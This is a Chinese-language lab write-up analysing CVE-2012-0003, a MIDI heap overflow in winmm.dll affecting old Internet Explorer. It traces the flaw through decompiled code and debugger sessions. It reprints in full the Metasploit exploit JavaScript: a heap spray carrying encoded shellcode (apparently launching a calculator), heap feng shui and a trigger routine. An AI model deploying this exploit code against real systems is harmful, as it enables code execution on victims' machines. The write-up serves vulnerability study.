漏洞分析丨cve-2012-0003
作者:黑蛋
一、漏洞简介
这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。
二、漏洞环境
虚拟机 | 调试工具 | 目标软件 | 辅助工具 |
XP-SP3、Kali | OD、IDA | IE6 | Windbg组件gflags.exe |
三、MIDI文件简介
MIDI文件属于二进制文件,这种文件一般都有如下基本结构:文件头+数据描述 文件头一般包括文件的类型,因为Midi文件仅以。mid为扩展名的就有0类和1类两种,而大家熟悉的位图文件的格式就更多了,所以才会出现文件头这种东西。他通过Winmm.dll解析这种文件之后可以播出音乐。
结构图如下:
块名称 | 块标记(四字节) | 块长度(四字节) | 块数据 |
头块 | “MThd” | 00000006 | 6字节长度 |
音轨块1 | “MTrk” | 后面块数据长度 | 音轨事件数据 |
... | ... | ... | ... |
音轨块n | “MTrk” | 后面块数据长度 | 音轨事件数据 |
头结构:
偏移 | 长度 | 描述 | 数值 |
0x00 | 4 | 块标记 | “MThd” |
0x04 | 4 | 块长度 | 00000006 |
0x08 | 2 | 格式类型 | 0~2 |
0x10 | 2 | 音轨数 | 1~65535 |
0x12 | 2 | 每拍的计数值 | 0x60为八分一拍 |
音轨事件:
事件类型 | 格式 | 描述 |
关闭音符(Note Off) | 0x8n note velocity | n 代表通道号,note 代表高音数值,velocity 代表按键速度 |
打开音符(Note On) | 0x9n note velocity | n 代表通道号,note 代表高音数值,velocity 代表按键速度 |
触后音符(Note Aftertouch) | 0xAn note amount | n 代表通道号,note 代表高音数值,amount 代表按压力度 |
控制器(Controler) | 0xBn type value | n 代表通道号,note 代表控制项(如主音、延音等音量大小的调节),value 即为设置值 |
音色切换(Program Change) | 0xCn num | n 代表通道号,num 代表音色号 |
触后通道(Channel Afertouch) | 0xCn note amount | n 代表通道号,note 代表高音数值,amount 代表按压力度 |
滑音(Pitch Bend) | 0xEn LSB MSB | n 代表通道号,LSB 代表低位值,MSB 代表高位值 |
四、漏洞复现
使用MSF生成exp:
使用箭头指向的链接地址,在XP-SP3中使用IE打开:
五、漏洞溯源
首先通过Windbg中一个组件gflags.exe开启IE页堆保护:
接下来找一个mid文件,或者用以下命令在kali中下载:
wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/+mid相对路径
然后用IE继续打开之前拷贝的链接地址,出现错误,右键页面打开源文件,修改mid文件位置为绝对路径,之后另存为html文件,把mid文件放相同目录下(这样可以让winmm.dll解析mid文件触发漏洞):
接下来打开IE,再打开OD附加IE,随后拖拽1.html到IE中,在IE上方选择允许运行,断在了溢出位置:
查看各模块基址,可以发现溢出点76B2D224属于winmm.dll,随后找到此动态链接库,拖到IDA中,找到76B2D224,F5反汇编:
接下来分析这段代码,看看v26来源:
void __stdcall sub_76B2D038(int a1)
{
int v1; // edi@1
int v2; // esi@2
int v3; // ecx@5
int v4; // eax@5
bool v5; // zf@5
bool v6; // sf@5
unsigned __int8 v7; // of@5
int v8; // edx@6
int v9; // ebx@6
int v10; // ST18_4@6
unsigned int v11; // ecx@6
unsigned int v12; // eax@6
int v13; // ecx@6
unsigned __int8 v14; // al@9
signed int v15; // eax@14
int v16; // ebx@16
int v17; // esi@18
int v18; // eax@18
int v19; // ST18_4@25
int v20; // esi@26
unsigned __int8 v21; // al@27
unsigned int v22; // ebx@28
__int64 v23; // rax@32
int v24; // eax@32
int v25; // esi@34
char v26; // al@34
char v27; // dl@34
char v28; // al@36
int v29; // edx@40
char v30; // al@40
char v31; // al@42
int v32; // [sp+4h] [bp-14h]@6
int v33; // [sp+8h] [bp-10h]@6
int v34; // [sp+Ch] [bp-Ch]@6
int v35; // [sp+10h] [bp-8h]@6
char v36; // [sp+17h] [bp-1h]@30
int v37; // [sp+20h] [bp+8h]@5
signed int v38; // [sp+20h] [bp+8h]@17
char v39; // [sp+23h] [bp+Bh]@6
unsigned __int8 v40; // [sp+23h] [bp+Bh]@28
v1 = a1;
if ( !*(_DWORD *)(a1 + 52) )
{
while ( 1 )
{
while ( 1 )
{
v2 = *(_DWORD *)(v1 + 60);
if ( !v2 )
return;
if ( sub_76B2CA8A(v1) )
break;
sub_76B2CAC7(v1);
}
v3 = *(_DWORD *)v2;
v4 = *(_DWORD *)(v1 + 124) + *(_DWORD *)(*(_DWORD *)v2 + *(_DWORD *)(v2 + 36));
v7 = __OFSUB__(v4, *(_DWORD *)(v1 + 128));
v5 = v4 == *(_DWORD *)(v1 + 128);
v6 = v4 - *(_DWORD *)(v1 + 128) < 0;
v37 = *(_DWORD *)v2;
*(_DWORD *)(v1 + 116) = v4;
if ( !((unsigned __int8)(v6 ^ v7) | v5) )
return;
v8 = *(_DWORD *)(v2 + 36);
*(_DWORD *)(v1 + 124) = v4;
*(_DWORD *)(v2 + 36) += 4;
v9 = *(_DWORD *)(v2 + 36);
v10 = *(_DWORD *)(v9 + v3);
v9 += 4;
v33 = v8;
v32 = v10;
*(_DWORD *)(v2 + 36) = v9;
v34 = sub_76B2C7F7(v1, v10);
v11 = *(_DWORD *)(v9 + v37);
*(_DWORD *)(v2 + 36) = v9 + 4;
v12 = v11 >> 24;
v13 = v11 & 0xFFFFFF;
v39 = v12;
v35 = v13;
if ( v34 && v12 & 0x40 )
{
*(_DWORD *)(v2 + 28) = v33;
DriverCallback(*(_DWORD *)(v1 + 68), *(_WORD *)(v1 + 74), *(_DWORD *)(v1 + 4), 970, *(_DWORD *)(v1 + 76), v2, 0);
LOBYTE(v12) = v39;
v13 = v35;
}
v14 = v12 & 0xBF;
if ( v14 )
{
if ( v14 == 1 )
{
v19 = *(_DWORD *)(v1 + 124);
*(_DWORD *)(v1 + 48) = v13;
sub_76B2CA24(v1, v19);
}
else if ( v14 == 128 )
{
*(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;
v15 = 1;
if ( v32 == -1 )
v15 = *(_DWORD *)(v1 + 140);
v16 = *(_DWORD *)(v2 + 24);
*(_DWORD *)(v1 + 136) = 0;
*(_DWORD *)(v1 + 8) |= 0x20u;
*(_DWORD *)(v1 + 52) = 1;
if ( v15 )
{
v38 = v15;
do
{
v17 = *(_DWORD *)(v16 + 4);
*(_DWORD *)(v16 + 4) = v17 + 64;
v18 = sub_76B2C7F7(v1, *(_DWORD *)(v17 + 32));
if ( v18 && !midiOutLongMsg(v18, v17, 64) )
++*(_DWORD *)(v1 + 136);
--v38;
}
while ( v38 );
}
if ( !*(_DWORD *)(v1 + 136) )
*(_DWORD *)(v1 + 52) = 0;
*(_DWORD *)(v1 + 8) &= 0xFFFFFFDF;
}
else if ( (v14 & 0x80u) != 0 )
{
*(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;
}
goto LABEL_48;
}
v20 = *(_DWORD *)(v1 + 132);
if ( v34 )
break;
do
{
LABEL_48:
if ( sub_76B2CA8A(v1) )
break;
sub_76B2CAC7(v1);
}
while ( *(_DWORD *)(v1 + 60) );
if ( *(_DWORD *)(v1 + 52) )
return;
}
v21 = v13;
if ( (char)v13 < 0 )
{
*(_BYTE *)(v1 + 84) = v13;
v40 = BYTE1(v13);
v22 = (unsigned int)v13 >> 16;
}
else
{
v21 = *(_BYTE *)(v1 + 84);
v40 = v13;
v22 = (unsigned int)v13 >> 8;
v13 = v21 | (v13 << 8);
}
v36 = v21 & 0xF0;
if ( (v21 & 0xF0) == -112 || (v21 & 0xF0) == -128 )
{
v23 = v40 + ((v21 & 0xF) << 7);
v24 = ((signed int)v23 - HIDWORD(v23)) >> 1;
if ( v36 == -128 || !(_BYTE)v22 )
{
v29 = v24 + v20;
v30 = *(_BYTE *)(v24 + v20);
if ( v40 & 1 )
{
if ( !(v30 & 0xF0) )
goto LABEL_46;
v31 = v30 - 16;
}
else
{
if ( !(v30 & 0xF) )
goto LABEL_46;
v31 = v30 - 1;
}
*(_BYTE *)v29 = v31;
goto LABEL_46;
}
v25 = v24 + v20;
v26 = *(_BYTE *)v25; // 这里
v27 = *(_BYTE *)v25;
if ( v40 & 1 )
{
if ( (v27 & 0xF0) != -16 )
{
v28 = v26 + 16;
LABEL_39:
*(_BYTE *)v25 = v28;
goto LABEL_46;
}
}
else if ( (v27 & 0xF) != 15 )
{
v28 = v26 + 1;
goto LABEL_39;
}
}
LABEL_46:
midiOutShortMsg(v34, v13);
goto LABEL_48;
}
}
根据分析,可以得到以下几个局部变量和寄存机关系以及相对于的地址:
V1 = edi 76B2D050
V2 = esi 76B2D06D
v9 = ebx 76B2D0B5
V11= ecx 76B2D0C3
V13= ecx 76B2D0D1
V20 = esi 76B2D248
V21 = dl 76B2D1F3
V24= eax 76B2D21E
a1 = edi 76B2D044
在OD附加IE后,运行起来,找到以上地址下条件断点:
然后跑起来,拖入1.html,到达溢出点,Alt+L查看日志:
可以发现在溢出前,v11=v13=007DB29F,是在相应位置下条件断点:
随后拖入1.html,断在了断点处,溢出点是读取ESI位置出现异常,我们向上观察ESI的值的来源,76B2D21E处是ADD ESI,EAX:
回到IDA中,对ESI溯源:
发现v20的值来源于参数a1+132;找a1的来源,看函数引用:
继续找v6:
继续找v7,正好可以看到v7+132的值:
继续跟进去sub_76B2B29D:
综上,可以看到ESI的值指向一个1024(0x400)字节的堆空间,返回到溢出位置,ESI+0x419超出0x400,所以造成溢出。
五、漏洞利用
首先我们对exp中的JS代码进行提取:
//堆喷射技术
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ufcf5%u40f5%u92d6%u9840%u4f48%ufcfd%u9f48%u4943%u4692%u274f%u9146%ud697%u4347%u4f41%u9143%u464b%u9949%ufc49%u379b%u46f5%ud64b%u90fc%uf941%u9b4f%ufd4b%u4f9f%u904b%u9949%u439f%u9049%ufd91%u93fc%u9b46%u2f43%u4891%u3798%ufcfc%u46d6%u4e4f%u4a92%uf5f8%u2799%u4b40%u99f5%u4e4f%u4af5%u4040%u2f43%uf597%uf537%u424f%uf93f%u4747%u924b%u2746%u979f%u933f%u97fd%u4841%u9948%u9098%u9246%u9892%u2f47%u4191%u429b%u2f49%u9991%u9ffd%u4147%u999f%u48fd%u373f%uf99f%ud6f5%u49f5%u434a%u479f%ufc96%u9940%u4f97%u989f%ufd49%u9941%u4627%u469b%u4398%u4840%u484a%u98fd%u9f93%u4940%u4a49%ud627%u48d6%u374a%uf942%uf590%u41fc%u274e%u9f41%u4f4f%uf537%u4147%ufc40%u434e%u373f%u912f%uf942%u479f%u4148%u9843%u404e%u3f4e%u4b49%u4296%ufdf5%u9692%uf597%uf996%u3f3f%u974f%uf998%u484a%u9792%u4149%u96fd%u9192%u4299%u414b%ufd3f%u9998%u91fd%u99f5%u4043%u4a93%u97f5%uf8fd%u934f%uf946%u48f9%u934b%u9f27%uf8f5%ufd4e%u4a47%u9f98%u97fc%u3f4f%u3743%ufc42%u993f%u37f9%ufc96%u9027%u4340%u9b98%u2f27%u494e%u9198%u91f8%u3796%ufcd6%ufd9b%uf947%ufcfd%u274b%u493f%u494b%u469f%uf9fd%ufc41%ufc40%u4846%u419b%ud690%u473f%u99fd%u9897%u912f%uf9fd%u439f%u9046%ufd92%u984b%u4691%u3ffd%u3f97%u434b%u2798%u9290%u46d6%u90f9%u373f%uf990%u3f96%ud6f8%u994f%u433f%ud69f%uf598%u424a%u4f48%u4ff5%uf59f%u4842%u2797%u43f8%u9742%u9f93%u2737%u993f%u93fc%u9648%ud64b%ufc90%ufd37%uf82f%u4a4e%u9bf9%uf8f5%u93fc%u9f40%u3f46%ufd4b%uf597%u2f37%u974e%u4896%u464b%u4398%uf9f8%u493f%u994b%u9b99%u9b27%u989f%u9149%u9349%u96d6%u4a99%u404b%u9f47%u2748%u91f8%u4849%u91f5%uf897%u469f%u4bfc%uf993%u42f8%u48f8%uf9d6%u43f8%u9bd6%ufd48%ufd98%u9f49%u419b%u919f%ufd4e%u4627%u419b%u3f4f%uf841%u4747%u989b%u4e48%u4e43%ufd3f%uf841%ufd49%u4191%u4e40%u4742%ufc90%ufd98%u2798%u9740%u414a%u494f%u379f%u3737%u494a%u43f9%u4647%u99d6%u42f9%u3797%u434f%u4e48%u9647%u9197%u939f%uf89b%ud6f8%u4647%u4f4a%u4a40%u92f8%u994a%u9b98%uf94b%u99f8%u929f%u9b47%u2749%ufc41%u9b9b%u422f%u919b%u4b4b%u973f%u4af9%u42f8%u933f%u424a%u9349%u9ff9%u9190%u4699%u412f%u4942%u90f5%u37fd%u4348%uf84a%uf9f5%u4696%u9299%u3ff5%ufd49%ud698%u9748%u4046%u92f5%ud640%u904b%ufc47%u4093%u9bd6%u489b%u49fd%u4b91%u9747%ufc27%u484a%u4e93%ufdfc%ufd41%u41f8%uf999%u9b4a%ud637%u9fd6%ufd48%u2f4b%u48d6%u47f5%u4143%u4b96%u4849%uf84b%u9340%uf541%u4a4f%ufd97%u4696%u274a%u929f%ufc37%u2748%u4a47%u9142%uf946%u2742%u9642%u3797%u46f5%u9b97%ufc99%u4893%u9992%u9148%ud690%uf998%u9191%u99fc%u4241%u2793%u4946%uf999%u4247%u984b%u27f5%u963f%u974a%u4f2f%u994e%u99d6%u9241%u374f%u3f2f%u4291%u4392%u274f%u9b98%u9b9b%u3ffd%u474b%uf948%u47f9%u9640%u43f5%ufc98%u82e8%u0000%u6000%ue589%uc031%u8b64%u3050%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%uacff%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f2%u8b57%u1052%u4a8b%u8b3c%u114c%ue378%u0148%u51d1%u598b%u0120%u8bd3%u1849%u3ae3%u8b49%u8b34%ud601%uff31%uc1ac%u0dcf%uc701%ue038%uf675%u7d03%u3bf8%u247d%ue475%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f5f%u8b5a%ueb12%u5d8d%u016a%u858d%u00b2%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u2e63%u7865%u0065");
var DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF = "%u0c0c%u0c0c";
var nops = unescape(DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF);
while (nops.length < 0x1000) nops+= nops;
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}
这一堆代码就是构造一堆0c0c0c0c+shellcode的堆喷射代码。
var heap = new heapLib.ie();
var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
var clones = new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
这一块是创建一个select元素,并设置第一个属性为String“0x0C0C0C0C”,其他55个为Object属性。随后创建一个1000字节数组在堆空间中,循坏拷贝selob到数组中,然后再在偶数位的数组释放堆空间。这样可以造成类似如下的堆空间:
这样空闲堆块前后都是我们自己的数据,而申请0x400有很大的概率落在我们这些堆块中间的空闲堆块中。然后在这里,String在内存中用0x08代表,Object用0x09代表。
最后调用 trigger()函数,是遍历数组元素,若属性是Object,就执行clones[k].w0('come on!'),而在这里会调用CAttrValue::GetIntoVariant函数,这个函数会获取续表指针,调用虚表函数。
这里是溢出点,在溢出点的时候AL=0x08,是String,而在代码下方箭头地址指向代码Al+1=0x09,后续调用Trigger函数,走到clones[k].w0('come on!'),而这个语句会调用虚表,每一个对象前四个字节都是虚表地址,及0C0C0C0C,从而走到我们构造的堆里面运行shellcode,下面是取消页堆,然后再溢出点下断点,走到下方AL+1的位置:
我们看一下堆喷地址0x0C0C0C0C:
这一块都是0C0C0C0C+shellcode,一直重复的地址。继续走,可以看到计算器被弹出:
相关文章:
漏洞分析丨cve-2012-0003
作者:黑蛋一、漏洞简介这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。二、漏洞环境虚拟机调试工具目标软件辅助工具XP-SP3、KaliOD、IDAIE6Windbg组件gflags.exe三…...
rm命令——删除文件或目录
rm命令是英文单词remove的缩写,主要功能是删除文件或目录。 因为删除文件是一个破坏性动作,因此,在使用时需要格外小心,在执行之前一定要再三确认删除的是哪个目录中的什么文件。 rm命令的语法格式如下: rm [选项] …...
【零基础入门学习Python---Python的基本语法使用】
一.Python基本语法使用 Python是一种易学且功能强大的编程语言,具有简洁的语法和广泛的应用领域。在本文中,我们将介绍Python的基本语法使用,以帮助初学者快速入门Python编程。 1.1 注释 Python 支持两种类型的注释:单行注释和多行注释。 单行注释:以 # 符号开头,从 # …...
数据仓库相关概念的解释
数据仓库相关概念的解释 文章目录数据仓库相关概念的解释1 ETL是什么?ETL体系结构2 数据流向何为数仓DW3 ODS 是什么?4 数据仓库层DWDWD 明细层DWD 轻度汇总层(MID或DWB,data warehouse basis)DWS 主题层(D…...
1/4车、1/2车、整车悬架模糊PID控制仿真合集
目录 前言 1. 1/4悬架系统 1.1数学模型 1.2仿真分析 2. 1/2悬架系统 2.1数学模型 2.2仿真模型 2.3仿真分析 3. 整车悬架系统 3.1数学模型 3.2仿真分析 4.总结 前言 前面几篇文章介绍了LQR、SkyHook、H2/H∞、PID控制,接下来会继续介绍滑模、反步法、M…...
Linux性能补丁升级,避免不必要的跨核Wake-Up
导读一个由英特尔发起的、旨在改进Linux内核公平调度程序代码的补丁系列,也看到了来自AMD工程师和其他利益相关者的测试/反馈,并继续进行改进。这个补丁系列的重点是避免在不必要的情况下发生过多的跨核唤醒(Cross-CPU Wake-up)。这样一来,这…...
Spring Cloud Alibaba全家桶(六)——微服务组件Sentinel介绍与使用
前言 本文小新为大家带来 微服务组件Sentinel介绍与使用 相关知识,具体内容包括分布式系统存在的问题,分布式系统问题的解决方案,Sentinel介绍,Sentinel快速开始(包括:API实现Sentinel资源保护,…...
拼多多2021笔试真题集 -- 3. 多多的求和计算
多多的求和计算 多多路上从左到右有N棵树(编号1~N),其中第i个颗树有和谐值Ai。 多多鸡认为,如果一段连续的树,它们的和谐值之和可以被M整除,那么这个区间整体看起来就是和谐的。 现在多多鸡想请…...
DP算法:动态规划算法
步骤(1)确定初始状态(2)确定转移矩阵,得到每个阶段的状态,由上一阶段推到出来(3)确定边界条件。例题蓝桥杯——印章(python实现)使用dp记录状态,d…...
一三四——一六七
一三四、JavaScript——_DOM简介 MDNq前端参考文档:DOM 概述 - Web API 接口参考 | MDN (mozilla.org) 一三五、JavaScript——HelloWorld <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta h…...
day29_JS
今日内容 上课同步视频:CuteN饕餮的个人空间_哔哩哔哩_bilibili 同步笔记沐沐霸的博客_CSDN博客-Java2301 零、 复习昨日 一、事件 二、DOM操作 三、案例 零、 复习昨日 js 脚本语言,弱类型 引入方案: 3种 js的内容: 语法dombom 语法 变量 var 数据类型 引用类型 - 对象,J…...
【HTTP协议与Web服务器】
HTTP协议与Web服务器浏览器与服务器通信过程HTTP的请求报头HTTP请求报头结构HTTP的请求方法HTTP应答报头HTTP应答报头结构应答状态web服务器的c语言实现浏览器与服务器通信过程 浏览器与Web服务器再应用层通信使用的是HTTP协议,而HTTP协议在传输层使用的是TCP协议。…...
Idea+maven+spring-cloud项目搭建系列--12 整合grpc
前言: grpc 是geogle 开源的rpc 通信框架,通过定义proto生成通信存根,像本地调用服务一样,进行远程服务的调用; 1 消费端服务提供: 1.1 引入grpc 和 protobuf <!-- RPC --> <!-- RPC 服务调用 …...
Revit开洞问题:结构专业开洞口剖面显示及一键开洞
一、Revit中关于结构专业开洞口剖面显示问题 Revit作业的时候,我们不仅只为了一个最后的三维立体模型,我们需要的是一个符合国家以及本院制图标准的一个出图样式,这时候就会出现各种各样的显示问题,本期就一个结构专业开洞显示问题,跟大家一起…...
0107连通分量-无向图-数据结构和算法(Java)
文章目录1 API2 代码实现和分析测试后记1 API 深度优先搜索下一个直接应用就是找出一幅图中的连通分量,定义如下API。 public class CCCC(Graph g)预处理构造函数booleanconnected(int v, int w)v和w连通吗intcount()连通分量数intid(int v)v所在的连通分量标识符(0~count()-…...
[学习笔记]黑马程序员python教程
文章目录思维导图Python基础知识图谱面向对象SQL入门和实战Python高阶技巧第一阶段第九章:Python异常、模块与包1.9.1异常的捕获1.9.1.1 为什么要捕获异常1.9.1.2 捕获常规的异常1.9.1.3 捕获指定的异常1.9.1.4 捕获多个异常1.9.1.5 捕获全部异常1.9.1.6 异常的else…...
如何配置用于构建 FastReport Online Designer 的 API ?
FastReport Online Designer 是一个跨平台的报表设计器,允许通过任何平台的移动设备创建和编辑报表。今天我们就一起来看看在2023版中新增和改进的功能有哪些,点击下方可以获取最新版免费试用哦! FastReport Onlin Designe最新版试用https:/…...
【嵌入式Linux内核驱动】02_字符设备驱动
字符设备驱动 〇、基本知识 设备驱动分类 (按共性分类方便管理) 1.字符设备驱动 字符设备指那些必须按字节流传输,以串行顺序依次进行访问的设备。它们是我们日常最常见的驱动了,像鼠标、键盘、打印机、触摸屏,还有…...
【零散整理】
1-1 git查看代码的项目总行数 git log --prettytformat: --numstat | awk ‘{ add $1; subs $2; loc $1 - $2 } END { printf “added lines: %s, removed lines: %s, total lines: %s\n”, add, subs, loc }’ - 1-2 cookie const cookies document.cookie.split(; )for…...
RocketMQ重复消费的症状以及解决方案
RocketMQ重复消费的症状以及解决方案 生产消息时重复 症状 当一条消息已被成功发送到 消费者 并完成持久化,此时出现了网络闪断或者客户端宕机,导致服务端对客户端应答失败。 如果此时 生产者 意识到消息发送失败并尝试再次发送消息,消费者…...
数字化时代,企业的商业模式建设
随着新一代信息化、数字化技术的应用,众多领域通过科技革命和产业革命实现了深度化的数字改造,进入到以数据为核心驱动力的,全新的数据处理时代,并通过业务系统、商业智能BI等数字化技术和应用实现了数据价值,从数字经…...
项目实战典型案例23——-注册上nacos上的部分服务总是出现频繁掉线的情况
注册上nacos上的部分服务总是出现频繁掉线的情况一:背景介绍二:思路&方案解决问题过程涉及到的知识nacos服务注册和服务发现一:背景介绍 spring cloud项目通过nacos作为服务中心和配置中心,出现的问题是其中几个服务总是出现…...
玩转金山文档 3分钟让你的文档智能化
在上个月底,我们给大家推荐了金山轻维表的几个使用场景,社群中不少用户反响很好,对其中一些场景的解决方案十分感兴趣。但也有一些人表示,有些场景不知道如何实现,希望我们能提供模版/教程。这次我们将做一期热门模板盘…...
安装了nodejs怎么安装nvm
第一步,从控制面板卸载已经安装的node 第二步,删除C盘program开头文件夹下的node文件 第三步,去C/user/用户名 文件夹下,删除.npmrc文件 第四步,打开隐藏文件,第三步文件夹下有一个Appdata文件ÿ…...
java安全编码规范考试
java安全编码规范考试 整理不易,收点币!! 安全编码规范考试.md 下面对zip文件的安全解压缩描述,错误的是 A.zip文件解压时,可以使用entry.getSize()对解压缩文件进行文件大小判断 B.zip文件解压时&…...
表格检测识别技术的发展历程
近年来,随着计算机技术的飞速发展,越来越多的研究者开始关注表格检测识别技术。表格检测识别技术是一种利用计算机自动处理表格的技术,它可以实现从文本中检测出表格,并进行识别和提取。这种技术有助于提高文本处理的效率…...
设计UI - Adobe xd对象介绍
矩形工具 新建矩形 操作步骤:选择矩形工具,快捷键R,鼠标在画板上拖出矩形即可。 拖动定界框周围圆形手柄,可快速调整矩形大小,也可以输入宽和高的参数对矩形大小进行改变。 移动矩形 操作步骤:选择选择工具…...
优思学院|精益生产中的“单件流”真的能够做到吗?
精益生产中提到的“一个流”(One Piece Flow)是一种生产方式,它的核心理念是通过合理配置作业场地、人员和设备,使产品从投入到成品产出的整个制造加工过程中始终处于不停滞、不堆积、不超越,按节拍一个一个地流动。 …...
移除元素问题解决方法------LeetCode-OJ题
问题: 给你一个数组 nums 和一个值 val,你需要 原地 移除所有数值等于 val 的元素,并返回移除后数组的新长度。 要求: 不要使用额外的数组空间,你必须仅使用 O(1) 额外空间并 原地 修改输入数组。 元素的顺序可以改…...
JavaScript学习笔记(1.0)
push() 语法:数组.push(数据) 作用:将数据追加到数组的末尾 返回值:追加数据后数组最新的长度 pop() 语法:数组.pop() 作用:删除数组最后一个数据 返回值:被删除的数据 unshift() 语法:数…...
宁波网站推广方式定制公司/企业管理培训机构
CPU性能分析工具:vmstatpssartimestracepstreetopMemory性能分析工具:vmstatstracetopipcsipcrmcat /proc/meminfocat /proc/slabinfocat /proc/ /mapsI/O性能分析工具:vmstatipstatrepquotaquotacheckNetwork性能分析工具:ifconf…...
找it工作有什么好的招聘网站/网站seo关键词排名优化
喜爱看小说的小伙伴们都会在网上下载很多的pdf格式电子书以方便随时阅览,但是pdf的电子书一般都过于的冗长,下载后的储存也是一个问题,怎么pdf压缩大小呢?可以试试今天介绍的这款pdf在线压缩工具来进行pdf压缩(https:/…...
如何清空网站数据库/代运营哪家比较可靠
1. matplotlib 图例正常显示中文和正负号 import matplotlib.pyplot as plt plt.rcParams[font.sans-serif][SimHei] #用来正常显示中文标签 plt.rcParams[axes.unicode_minus]False #用来正常显示负号2. 给同一幅图中的不同线加标签 import matplotlib.pyplot as plt import …...
世界电商网站排名/百度推广在哪里
•创建一个以JDBC连接数据库的程序,包含7个步骤 1、加载JDBC驱动程序 在连接数据库之前,首先要加载想要连接的数据库的驱动到JVM(Java虚拟机), 这通过java.lang.Class类的静态方法forName(String className)实现。…...
b2b建设网站公司/小程序设计
在网络编程中,出于节约带宽或者编码的需要,通常需要以原生方式处理long和int,而不是转换为string。public class ByteOrderUtils {public static byte[] int2byte(int res) {byte[] targets new byte[4];targets[3] (byte) (res & 0xff…...
wordpress视频播放卡/磁力bt种子搜索神器
windows版:由于各种原因我们可能需要定时关机的功能。在windows下常用的做法可能是使用一些工具或常用软件(例如酷我音乐盒)实现。但如果你没有该功能的软件又不想为了实现这个功能去增添软件,你可以使用简单的命令的方式。shutdown命令可以实现定时关机…...